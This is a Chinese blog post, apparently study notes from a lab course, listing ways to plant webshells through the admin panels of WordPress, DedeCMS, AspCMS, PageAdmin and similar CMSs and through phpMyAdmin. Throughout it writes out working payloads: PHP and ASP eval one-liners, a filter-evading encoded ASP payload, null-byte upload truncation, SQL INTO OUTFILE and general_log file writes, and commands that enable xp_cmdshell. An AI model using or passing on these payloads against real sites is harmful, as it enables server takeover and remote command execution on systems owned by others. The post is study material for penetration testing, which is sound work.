后台拿Webshell总结

发布时间 2023-04-22 22:29:08作者: cha0s32

Wordpress

模板上传一句话

后台 -> 外观 -> 主题 -> 编辑

选择文件为php后缀的模板,并写入一句话木马

<?php phpinfo();eval($_POST['cmd']);?>

image-20230422195040466

访问该文件,默认路径为http://www.cbi1.com/wp-content/themes/twentysixteen/archive.php

image-20230422195252843

用蚁剑连接一句话

image-20230422195346674

上传主题传一句话

在网上随便下载一个wordpress主题,并加入自己的一句话木马,重新打包成zip文件

image-20230422195842743

上传路径 http://www.cbi1.com/wp-admin/theme-install.php

上传后用蚁剑连接即可

dedecms

登录路径:http://www.cbi2.com/dede/login.php?gotopage=%2Fdede%2F

通过文件管理器上传

image-20230422200348925

可任意文件上传

尝试上传一个php一句话

image-20230422200628221

通过修改模板上传

image-20230422200850951

插入php一句话

此时还是html代码,无法执行,需要到生成 -> 更新主页html,将文件后缀改一下

image-20230422201139044

新增广告任意命令执行

后台广告管理,可以插入任意php代码

image-20230422201705804

上传后会显示广告位置

image-20230422201814664

image-20230422202001257

用蚁剑可连接

分析一下源码

require_once(dirname(__FILE__)."/../include/common.inc.php");

if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(' Request Error! ');

$cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
    $row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");
    $adbody = '';
    if($row['timeset']==0)
    {
        $adbody = $row['normbody'];
    }
    else
    {
        $ntime = time();
        if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
            $adbody = $row['expbody'];
        } else {
            $adbody = $row['normbody'];
        }
    }
    $adbody = str_replace('"', '\"',$adbody);
    $adbody = str_replace("\r", "\\r",$adbody);
    $adbody = str_replace("\n", "\\n",$adbody);
    $adbody = "<!--\r\ndocument.write(\"{$adbody}\");\r\n-->\r\n";
    $fp = fopen($cacheFile, 'w');
    fwrite($fp, $adbody);
    fclose($fp);
}
include $cacheFile;

源码是从数据库中读取ad的内容,进行某些特殊字符的过滤后,重新写入文件,并用include包含,造成命令执行漏洞

aspcms

登录路径:http://www.cbi3.com/admin_aspcms/login.asp

后台修改配置文件

看到扩展功能 -> 幻灯盘设置这里的字段会出现在配置文件中,猜测修改这里的字段提交会影响到配置文件

image-20230422203757703

image-20230422203924958

保存幻灯片设置,抓包提交

经测试,程序会过滤 %,所以对其进行url编码

image-20230422210348350

%25><%25Eval(Request (chr(65)))%25><%25
image-20230422210514503

南方数据企业系统

登录后台 http://www.cbi7.com/admin/Login.asp

后台上传截断

添加下载处有上传点

image-20230422211045131

尝试直接上传asp文件,上传格式不允许

将asp后缀改为jpg,继续上传

尝试截断,%00要用url编码

image-20230422212454810

发送后成功上传,并可以成功用蚁剑连接

配置文件上传

跟aspcms修改配置文件类似,只是没有对特殊符号进行处理

系统管理 -> 常量设置 -> 直接插入一句话

image-20230422212721492

配置文件路径 http://www.cbi7.com//Inc/Const.asp

另外更改网站设置,也可以改配置文件,只不过要考虑闭合问题

image-20230422213050668

蚁剑连接成功

phpmyadmin

前提是可写

可用这条语句查询,若什么都没设置可写,设置为NULL的话证明所有目录都不可写

show variables like '%secure%';

常规方法直接写到网站根目录,但是需要知道路径

select '<?php phpinfo();eval($_POST[cmd]);?>' into outfile 'C:/phpstudy_pro/WWW/x.php'

不知道路径的情况下,可以利用日志拿webshell

因为可以用phpmyadmin直接修改日志的存储路径

SET global general_log = "ON"; #日志保存状态开启;
SET global general_log_file='C:/phpstudy_pro/WWW/a.php'; #修改日志的保存位置

此时使用查询语句,日志就会写入C:/phpstudy_pro/WWW/a.php

select '<?php phpinfo();eval($_POST[/'cmd/']);?>'

再用蚁剑连接日志文件即可

pageadmin

登陆口 http://www.cbi9.com/admin/login/

上传模块拿shell

网站 -> 模板管理,上传zip文件(用一句话解压的)

image-20230422215243605

用蚁剑连接,正常

image-20230422215312638

也可以去到 工具 -> 文件管理 -> Templates目录

上传模板zip文件会自动解压,原理差不多

查找数据库配置文件执行拿shell

同样是文件管理中,发现有web.config,里面有数据库连接信息

image-20230422215637553

用数据库客户端连接开启xp_cmdshell

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure
'xp_cmdshell',1;RECONFIGURE

无忧企业系统

登录口 http://www.cbi18.com/admin/default.asp

无忧企业系统数据库为asp格式

且存在数据库备份,在留言中所有内容都会被写入备份文件中

image-20230422221622894

在留言板中写入数据库一句话

┼攠數畣整爠煥敵瑳∨≡┩愾 密码a

image-20230422221611447

访问一句话时,需要url编码,因为url 遇到#会当作瞄点 所以要将#url编码后在进行访问。(用蚁剑不用编码)

参考资料

暗月学习笔记,自己复现后做的记录